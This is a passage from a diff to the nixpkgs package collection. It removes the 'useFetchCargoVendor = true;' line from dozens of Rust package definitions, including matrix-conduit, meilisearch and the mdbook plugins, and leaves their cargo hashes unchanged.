     hash = "sha256-Dku2pDUCblopHtoj6viUqHVpVH5GDApp+QLjor38j7g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TDk7hEZ628iUnKI0LMBtsSAVNF6BGukHwB8kh70eo4U=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ma/materialize/package.nix b/pkgs/by-name/ma/materialize/package.nix
index f840c9e6c703..9f924166b63e 100644
--- a/pkgs/by-name/ma/materialize/package.nix
+++ b/pkgs/by-name/ma/materialize/package.nix
@@ -120,7 +120,6 @@ rustPlatform.buildRustPackage rec {
     CARGO_FEATURE_DYNAMIC_LINKING = 1;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+OREisZ/vw3Oi5MNCYn7u06pZKtf+2trlGyn//uAGws=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index 4baa29dc8038..960872c56d4b 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-BLEbEDZRh7fgcnkH/YUHPPdKM1FtZdjvsL1rJ57BP3w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1jLiCCZUj/rBHd1huqZdmgKayoSZoOt3tptyZlOcWJA=";
 
   npmDeps = fetchNpmDeps {
diff --git a/pkgs/by-name/ma/matrix-commander-rs/package.nix b/pkgs/by-name/ma/matrix-commander-rs/package.nix
index b5782bd57d1b..ba341c147ed0 100644
--- a/pkgs/by-name/ma/matrix-commander-rs/package.nix
+++ b/pkgs/by-name/ma/matrix-commander-rs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eEkSdr6qHLUBp4natvq7uMbcqxDOTJAE1vEPWLE3KKM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-I7g3yNjq1i7YXv6S7PPZnOQ0Y5665dNayz7XEQl/WAE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ma/matrix-conduit/package.nix b/pkgs/by-name/ma/matrix-conduit/package.nix
index 16d1ad758aa3..3ebf8fadcfd3 100644
--- a/pkgs/by-name/ma/matrix-conduit/package.nix
+++ b/pkgs/by-name/ma/matrix-conduit/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mQLfRAun2G/LDnw3jyFGJbOqpxh2PL8IGzFELRfAgAI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-r7fOzTug0cKQUGrpXDn1JKb6/lLQDgnA3/colmldA4c=";
 
   # Conduit enables rusqlite's bundled feature by default, but we'd rather use our copy of SQLite.
diff --git a/pkgs/by-name/ma/matrix-continuwuity/package.nix b/pkgs/by-name/ma/matrix-continuwuity/package.nix
index 4b6fe10195d1..a02af10a8a25 100644
--- a/pkgs/by-name/ma/matrix-continuwuity/package.nix
+++ b/pkgs/by-name/ma/matrix-continuwuity/package.nix
@@ -41,7 +41,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-xK/jTURQzFJ1FkF1E9cItTxXAgXgTwAiA9/8aE51FvU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+7k1dtrXdonFDXa2Z/qVo4n1hZRmMWEQKKlffki8+/k=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ma/matugen/package.nix b/pkgs/by-name/ma/matugen/package.nix
index 298bfef974dd..0c3897632d54 100644
--- a/pkgs/by-name/ma/matugen/package.nix
+++ b/pkgs/by-name/ma/matugen/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+UibbVz5CTisKMms/5VXGe39FYr56qzaEtX4TWQPkjk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZCH8ka740X/yRbn4Mbno63jZifPMEaDABsftS3juDTo=";
 
   meta = {
diff --git a/pkgs/by-name/ma/maturin/package.nix b/pkgs/by-name/ma/maturin/package.nix
index c9f694e68cf9..a2cb60ab5b0a 100644
--- a/pkgs/by-name/ma/maturin/package.nix
+++ b/pkgs/by-name/ma/maturin/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qMiFHoEm6Q3Pwz8Gv6U75rTKO2Pj81g9rhqdyYJKOys=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7YPUTTRo9+aBmVXLq5NfU+t5VPxfEQc4+rdQnPN+AZ0=";
 
   patches = [
diff --git a/pkgs/by-name/mc/mcfly-fzf/package.nix b/pkgs/by-name/mc/mcfly-fzf/package.nix
index c7dcfc4192ac..5e8a071f687f 100644
--- a/pkgs/by-name/mc/mcfly-fzf/package.nix
+++ b/pkgs/by-name/mc/mcfly-fzf/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     substituteInPlace shell/mcfly-fzf.fish --replace '(command -v mcfly-fzf)' '${placeholder "out"}/bin/mcfly-fzf'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xHYOhq/vDmjP7RfgRR15Isj7rg/nIV9tz9XznHBENig=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mc/mcfly/package.nix b/pkgs/by-name/mc/mcfly/package.nix
index 104592c80cc3..77ef28716f4f 100644
--- a/pkgs/by-name/mc/mcfly/package.nix
+++ b/pkgs/by-name/mc/mcfly/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     substituteInPlace mcfly.fish --replace '(command which mcfly)'  '${placeholder "out"}/bin/mcfly'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9oNfXNQywvgTREa0G1UbId4ezLSCem4IBkqE5X234hE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/mc/mchprs/package.nix b/pkgs/by-name/mc/mchprs/package.nix
index d562355d6c00..aee75eda4571 100644
--- a/pkgs/by-name/mc/mchprs/package.nix
+++ b/pkgs/by-name/mc/mchprs/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Jm9ZsqCKOIxZsXQbCluYu7MgOD7hXYljcv/URaNVUW0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YDfyixNfJsKigf3W5265CWl4ETQDeBHYpquBoFoj4Tw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mc/mcumgr-client/package.nix b/pkgs/by-name/mc/mcumgr-client/package.nix
index a69f81120099..bdb21940b456 100644
--- a/pkgs/by-name/mc/mcumgr-client/package.nix
+++ b/pkgs/by-name/mc/mcumgr-client/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-P5ykIVdWAxuCblMe7kzjswEca/+MsqpizCGUHIpR4qc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+n+Z/o+DvP2ltos8DP8nTyKbn/Zr3ln6cLyKJ+yWm1M=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/md/md-tui/package.nix b/pkgs/by-name/md/md-tui/package.nix
index abbb890aa74a..139c3d14f408 100644
--- a/pkgs/by-name/md/md-tui/package.nix
+++ b/pkgs/by-name/md/md-tui/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-O+EIhh83nIYE2GWaThkDLIVsYsg62g/6ksS+1fKm4AY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-h0ikwdGmyBsCJvILJTlDd9x0DXYwblfBcK2wuWHmjYA=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/md/mdbook-admonish/package.nix b/pkgs/by-name/md/mdbook-admonish/package.nix
index 460edfd2f972..df3e8c36e20f 100644
--- a/pkgs/by-name/md/mdbook-admonish/package.nix
+++ b/pkgs/by-name/md/mdbook-admonish/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rlJowyyB83bNqzOavggbwVJg9/GYZLYjGr8Pv/O6UBE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ilX/Tky3eQB0Aumz+gRRyaVz/MAM/qiNrGulZSPGUg0=";
 
   meta = {
diff --git a/pkgs/by-name/md/mdbook-alerts/package.nix b/pkgs/by-name/md/mdbook-alerts/package.nix
index 22fde5a1ee22..f822af2ba669 100644
--- a/pkgs/by-name/md/mdbook-alerts/package.nix
+++ b/pkgs/by-name/md/mdbook-alerts/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-MZS9TESITj3tzdaXYu5S2QUCW7cZuTpH1skFKeVi/sQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZL8M9Ces8qs8ClayjJTt5FvlG+WcRpJLuZBNATEbLtQ=";
 
   meta = {
diff --git a/pkgs/by-name/md/mdbook-cmdrun/package.nix b/pkgs/by-name/md/mdbook-cmdrun/package.nix
index 7c85da2d485a..8e24c1a50e91 100644
--- a/pkgs/by-name/md/mdbook-cmdrun/package.nix
+++ b/pkgs/by-name/md/mdbook-cmdrun/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage {
     util-linux # used by tests/regression/shell/input.md
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C3Rg+WXHBA7KyUDFdhBz4mOm8CFH/f7UVA8KOLs9ClE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/md/mdbook-d2/package.nix b/pkgs/by-name/md/mdbook-d2/package.nix
index 8337e202b47e..24a876f29637 100644
--- a/pkgs/by-name/md/mdbook-d2/package.nix
+++ b/pkgs/by-name/md/mdbook-d2/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iVPB4SAzspw8gZHzEQVFRbFjyPCkxrvXvhMszopzslE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9D/osDyFwIhgv3scnnpsdN6S4qCPWuAU9tajENyWaXo=";
   doCheck = false;
 
diff --git a/pkgs/by-name/md/mdbook-emojicodes/package.nix b/pkgs/by-name/md/mdbook-emojicodes/package.nix
index 5de989c1176a..ea5e84664fe6 100644
--- a/pkgs/by-name/md/mdbook-emojicodes/package.nix
+++ b/pkgs/by-name/md/mdbook-emojicodes/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dlvfY2AMBvTl0j9YaT+u4CeWQGGihFD8AZaAK4/hUWU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+VVkrXvsqtizeVhfuO0U8ADfSkmovpT7DVwrz7QljU0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/md/mdbook-epub/package.nix b/pkgs/by-name/md/mdbook-epub/package.nix
index 4c3c1e359a36..47ba7ab77374 100644
--- a/pkgs/by-name/md/mdbook-epub/package.nix
+++ b/pkgs/by-name/md/mdbook-epub/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ddWClkeGabvqteVUtuwy4pWZGnarrKrIbuPEe62m6es=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3R81PJCOFc22QDHH2BqGB9jjvEcMc1axoySSJLJD3wI=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/md/mdbook-footnote/package.nix b/pkgs/by-name/md/mdbook-footnote/package.nix
index a5630089d293..56b3c05cc0e4 100644
--- a/pkgs/by-name/md/mdbook-footnote/package.nix
+++ b/pkgs/by-name/md/mdbook-footnote/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-WUMgm1hwsU9BeheLfb8Di0AfvVQ6j92kXxH2SyG3ses=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3tuejWMZlEAOgnBKEqZP2a72a8QP1yamfE/g2BJDEbg=";
 
   meta = {
diff --git a/pkgs/by-name/md/mdbook-graphviz/package.nix b/pkgs/by-name/md/mdbook-graphviz/package.nix
index 21750e1f1b03..66a1f84005cf 100644
--- a/pkgs/by-name/md/mdbook-graphviz/package.nix
+++ b/pkgs/by-name/md/mdbook-graphviz/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-f02SOyU5REm+uP4/vB/1yG9M0Vg8ShF2hj5NKuh0jLU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-A1pFifxshWynwA88iLTMOm21NKCH8fHl5nFiV4wEG8A=";
 
   nativeCheckInputs = [ graphviz ];
diff --git a/pkgs/by-name/md/mdbook-i18n-helpers/package.nix b/pkgs/by-name/md/mdbook-i18n-helpers/package.nix
index c790d9bff40b..740cc172b505 100644
--- a/pkgs/by-name/md/mdbook-i18n-helpers/package.nix
+++ b/pkgs/by-name/md/mdbook-i18n-helpers/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FdguzuYpMl6i1dvoPNE1Bk+GTmeTrqLUY/sVRsbETtU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZBGMfJA2diPvvoIXPosUs4ngXU9/GMGa4GAlKIjwm8s=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/md/mdbook-katex/package.nix b/pkgs/by-name/md/mdbook-katex/package.nix
index 122002573213..974a078ae76d 100644
--- a/pkgs/by-name/md/mdbook-katex/package.nix
+++ b/pkgs/by-name/md/mdbook-katex/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xwIW8igfxO9vsck8ktDBc7XFLuYzwqI3I4nLDTYC8JI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ULcjcY+CaVSohSzlm4KbSgG27IZyxX8zp8ifZNj5c54=";
 
   meta = {
diff --git a/pkgs/by-name/md/mdbook-kroki-preprocessor/package.nix b/pkgs/by-name/md/mdbook-kroki-preprocessor/package.nix
index a97b80644f49..7826dd9ffb60 100644
--- a/pkgs/by-name/md/mdbook-kroki-preprocessor/package.nix
+++ b/pkgs/by-name/md/mdbook-kroki-preprocessor/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3BxIhJK0YWZBEbbNwMKixo1icEn+QKJwoskgIEaZcGQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vOP/XvoHwJd34f+NGGCFJkEbefbbJjFcGTOFaCn9dj8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/md/mdbook-linkcheck/package.nix b/pkgs/by-name/md/mdbook-linkcheck/package.nix
index 498cb0f85582..53e8f73f2987 100644
--- a/pkgs/by-name/md/mdbook-linkcheck/package.nix
+++ b/pkgs/by-name/md/mdbook-linkcheck/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-ZbraChBHuKAcUA62EVHZ1RygIotNEEGv24nhSPAEj00=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Tt7ljjWv2CMtP/ELZNgSH/ifmBk/42+E0r9ZXQEJNP8=";
 
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [ openssl ];
diff --git a/pkgs/by-name/md/mdbook-man/package.nix b/pkgs/by-name/md/mdbook-man/package.nix
index 95d443d72192..65b7b489d18e 100644
--- a/pkgs/by-name/md/mdbook-man/package.nix
+++ b/pkgs/by-name/md/mdbook-man/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ssAk60jnwYzAjseL26/3FaDv1vBAylgdE+vLhWZ8It4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+CD7+pYAoKRmkMZPpEru6lug9sBakrL0rLXs78e3tqk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/md/mdbook-mermaid/package.nix b/pkgs/by-name/md/mdbook-mermaid/package.nix
index f3109e1ecc73..8a5bddee79a6 100644
--- a/pkgs/by-name/md/mdbook-mermaid/package.nix
+++ b/pkgs/by-name/md/mdbook-mermaid/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+Dk3wW1pLWVfJy+OC648BQ5rZrHYqPdjV2hfJSIV6m0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LbDlxQ2sbyYlXOzvA+9tLRxqGGxtgQ9KujsD7UBzskM=";
 
   meta = {
diff --git a/pkgs/by-name/md/mdbook-open-on-gh/package.nix b/pkgs/by-name/md/mdbook-open-on-gh/package.nix
index 75f3ee01b38f..46eaa9c94f0b 100644
--- a/pkgs/by-name/md/mdbook-open-on-gh/package.nix
+++ b/pkgs/by-name/md/mdbook-open-on-gh/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-73738Vei7rQ67LQIOrHPGOtsBnHClaXClRWDmA5pP58=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6BR/xXo5pBv7n5beqgY9kEe24o/lZl1sit0uumSEbe8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/md/mdbook-pagetoc/package.nix b/pkgs/by-name/md/mdbook-pagetoc/package.nix
index 8d4334615488..d401a57069bf 100644
--- a/pkgs/by-name/md/mdbook-pagetoc/package.nix
+++ b/pkgs/by-name/md/mdbook-pagetoc/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-A8J3cKSA//NGIVK3uE43YH3ph9DHGFlg7uOo10j2Kh8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-e0J3dcBLoDIvmdUxUY/OKivtIHIhRyAw/tpVWV0TgrE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/md/mdbook-pdf/package.nix b/pkgs/by-name/md/mdbook-pdf/package.nix
index be67ff34b5db..af2a44dbabb9 100644
--- a/pkgs/by-name/md/mdbook-pdf/package.nix
+++ b/pkgs/by-name/md/mdbook-pdf/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1VMVobiRCCUv8aWLxNbaDSvNs1Pt2jlsVPzfrieOudc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-t3dlmeJNaHySIhJdJmSaeS0mXM7TgAUa/0hcG06lHvo=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/md/mdbook-plantuml/package.nix b/pkgs/by-name/md/mdbook-plantuml/package.nix
index 73f717b9c679..052bee1ae5f8 100644
--- a/pkgs/by-name/md/mdbook-plantuml/package.nix
+++ b/pkgs/by-name/md/mdbook-plantuml/package.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JI5UdLb2ZcPcAIvprVdpQRGMzc0Qu0awIUpMjNyaAPQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/md/mdbook-toc/package.nix b/pkgs/by-name/md/mdbook-toc/package.nix
index 6457b42cc70d..2e02d36b7ac7 100644
--- a/pkgs/by-name/md/mdbook-toc/package.nix
+++ b/pkgs/by-name/md/mdbook-toc/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-OFNp+kFDafYbzqb7xfPTO885cAjgWfNeDvUPDKq5GJU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0x/x3TRwRinQ/uLCQoRrJOE/mc2snkL/MCz76nQqb5E=";
 
   meta = {
diff --git a/pkgs/by-name/md/mdbook-variables/package.nix b/pkgs/by-name/md/mdbook-variables/package.nix
index eefa0f16adcb..d25c13ed3643 100644
--- a/pkgs/by-name/md/mdbook-variables/package.nix
+++ b/pkgs/by-name/md/mdbook-variables/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-whvRCV1g2avKegfQpMgYi+E6ETxT2tQqVS2SWRpAqF8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WLHXeYNfALa7GfFAHEO9PAlFKB2lbDefgAYCn6G0U6Y=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/md/mdbook-yml-header/package.nix b/pkgs/by-name/md/mdbook-yml-header/package.nix
index 8f0c53294ef6..d0eee046e3ca 100644
--- a/pkgs/by-name/md/mdbook-yml-header/package.nix
+++ b/pkgs/by-name/md/mdbook-yml-header/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-qRAqZUKOiXTh4cJjczBQ9zAL6voaDvko7elfE6eB2jA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C8M2Y7igeDmi337GXWmLcwNTGr1/CTHWWTuMPDtkqxs=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/md/mdbook/package.nix b/pkgs/by-name/md/mdbook/package.nix
index c08a936952c3..b6e14491eae6 100644
--- a/pkgs/by-name/md/mdbook/package.nix
+++ b/pkgs/by-name/md/mdbook/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-X+ptqzAOjCX2Tt5jDfH/jdUy99WrITGfzDj+F2DoI5w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZPJkSMcxyTOivfwThPfaO6oRkfewH048rrCDCwCtE8c=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/md/mdctags/package.nix b/pkgs/by-name/md/mdctags/package.nix
index 6cb4845813fb..83ff6388234d 100644
--- a/pkgs/by-name/md/mdctags/package.nix
+++ b/pkgs/by-name/md/mdctags/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "14gryhgh9czlkfk75ml0620c6v8r74i6h3ykkkmc7gx2z8h1jxrb";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xg9tBBo3Al8x0HkgRnfdZybcjaHsNMv/Ot3NwGiHkBg=";
 
   meta = {
diff --git a/pkgs/by-name/md/mdevctl/package.nix b/pkgs/by-name/md/mdevctl/package.nix
index 790c4cfad6f5..87bf5480cba3 100644
--- a/pkgs/by-name/md/mdevctl/package.nix
+++ b/pkgs/by-name/md/mdevctl/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     ./script-dir.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LG5UaSUTF6pVx7BBLiZ/OmAZNCKswFlTqHymg3bDkuc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/md/mdq/package.nix b/pkgs/by-name/md/mdq/package.nix
index 3ebe6185ab24..55a7cb47ad53 100644
--- a/pkgs/by-name/md/mdq/package.nix
+++ b/pkgs/by-name/md/mdq/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-QGva+yuiNwez8z9j4SL8vpcHdUm8nxRFn+6WiZgdWjQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-k+St07jA+F+c4md9OzFiDp9idie6zoNI65HEQ2JqynM=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/md/mdsf/package.nix b/pkgs/by-name/md/mdsf/package.nix
index 546c55c75ed6..0637d345e27b 100644
--- a/pkgs/by-name/md/mdsf/package.nix
+++ b/pkgs/by-name/md/mdsf/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-KHTWE3ENRc/VHrgwAag6DsnEU3c8Nqw15jR5jWlNrk4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kgqRwYjDc/eV9wv1G6aAhfrGpoYDPCFfqaTm+T2p7uw=";
 
   checkFlags = [
diff --git a/pkgs/by-name/md/mdsh/package.nix b/pkgs/by-name/md/mdsh/package.nix
index 5333d33477db..73279951797e 100644
--- a/pkgs/by-name/md/mdsh/package.nix
+++ b/pkgs/by-name/md/mdsh/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DQdm6911SNzVxUXpZ4mMumjonThhhEJnM/3GjbCjyuY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JhrELBMGVtxJjyfPGcM6v8h1XJjdD+vOsYNfZ86Ras0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/md/mdzk/package.nix b/pkgs/by-name/md/mdzk/package.nix
index 12994582e9d4..fe8a4deec689 100644
--- a/pkgs/by-name/md/mdzk/package.nix
+++ b/pkgs/by-name/md/mdzk/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     ./update-mdbook-for-rust-1.64.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+x4pOtszvdzI/zR55ezcxlS52GrWQTuBn7vbnqDTVac=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/me/meilisearch/package.nix b/pkgs/by-name/me/meilisearch/package.nix
index 20849417bd41..d89c346d2244 100644
--- a/pkgs/by-name/me/meilisearch/package.nix
+++ b/pkgs/by-name/me/meilisearch/package.nix
@@ -36,7 +36,6 @@ rustPlatform.buildRustPackage {
 
   cargoBuildFlags = [ "--package=meilisearch" ];
 
-  useFetchCargoVendor = true;
   cargoHash = cargoHashes.${version};
 
   # Default features include mini dashboard which downloads something from the internet.
diff --git a/pkgs/by-name/me/mekuteriya/package.nix b/pkgs/by-name/me/mekuteriya/package.nix
index a00375d5e0a5..cd1a93fdd5b3 100644
--- a/pkgs/by-name/me/mekuteriya/package.nix
+++ b/pkgs/by-name/me/mekuteriya/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bWp2UNrhCHY2DQWusGS9L9/jI2r23F34yLpuE6nuOD0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YIsM2IVtV1jG/JzCR9gQPqnKhtxJYdCWdTw4FlK3Y9w=";
 
   meta = {
diff --git a/pkgs/by-name/me/meli/package.nix b/pkgs/by-name/me/meli/package.nix
index 224cea987cb9..6abd33ab4de9 100644
--- a/pkgs/by-name/me/meli/package.nix
+++ b/pkgs/by-name/me/meli/package.nix
@@ -36,7 +36,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-q3vnvH0GWnrfYnk2WBRLTDInJ/wazI4JtkEMwiWanfI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OAytdJgIiaS0xsHWOgNW2dkRQEyU9xcyaJtxClWzfjQ=";
 
   # Needed to get openssl-sys to use pkg-config
diff --git a/pkgs/by-name/me/melody/package.nix b/pkgs/by-name/me/melody/package.nix
index 5aa585646083..1b6b0fde6a39 100644
--- a/pkgs/by-name/me/melody/package.nix
+++ b/pkgs/by-name/me/melody/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-u+d16jc7GqT2aK2HzP+OXFUBkVodwcW+20sKqmxzYhk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TNW36FLK1E6uoDICfGN5ZmTX8V9ndSqyif7tbBqvqDI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/me/meme-bingo-web/package.nix b/pkgs/by-name/me/meme-bingo-web/package.nix
index dfd90634164c..8c11b790e881 100644
--- a/pkgs/by-name/me/meme-bingo-web/package.nix
+++ b/pkgs/by-name/me/meme-bingo-web/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0ahyyuihpwmAmaBwZv7lNmjuy8UsAm1a9XUhWcYq76w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5GpNVcnwWjxYgIXGoFkuf5CFD46kxxQwb3t0/i/2nFM=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/me/memtest_vulkan/package.nix b/pkgs/by-name/me/memtest_vulkan/package.nix
index 2b699d306fe7..341e0b68ad5e 100644
--- a/pkgs/by-name/me/memtest_vulkan/package.nix
+++ b/pkgs/by-name/me/memtest_vulkan/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8tmQtycK7D5bol9v5VL8VkROZbSCndHo+uBvqqFTZjw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-q47UUCD3JYzkVsJa5+E1vTbCgnEQ9Mo5eLgO2lmdnQ4=";
 
   # It doesn't discover this on its own :/
diff --git a/pkgs/by-name/me/menyoki/package.nix b/pkgs/by-name/me/menyoki/package.nix
index 34f657bf71e9..1505716691bb 100644
--- a/pkgs/by-name/me/menyoki/package.nix
+++ b/pkgs/by-name/me/menyoki/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-owP3G1Rygraifdc4iPURQ1Es0msNhYZIlfrtj0CSU6Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6FRc/kEhGJXIZ+6GXeYj5j7QVmvZgIQgtDPvt94hlho=";
 
   nativeBuildInputs = [ installShellFiles ] ++ lib.optional stdenv.hostPlatform.isLinux pkg-config;
diff --git a/pkgs/by-name/me/meow/package.nix b/pkgs/by-name/me/meow/package.nix
index d8198f7ff418..7a30edfcbde3 100644
--- a/pkgs/by-name/me/meow/package.nix
+++ b/pkgs/by-name/me/meow/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iskpT0CU/cGp+8myWaVmdw/uC0VoP8Sv+qbjpDDKS3o=";
   };
 
-  useFetchCargoVendor = true;
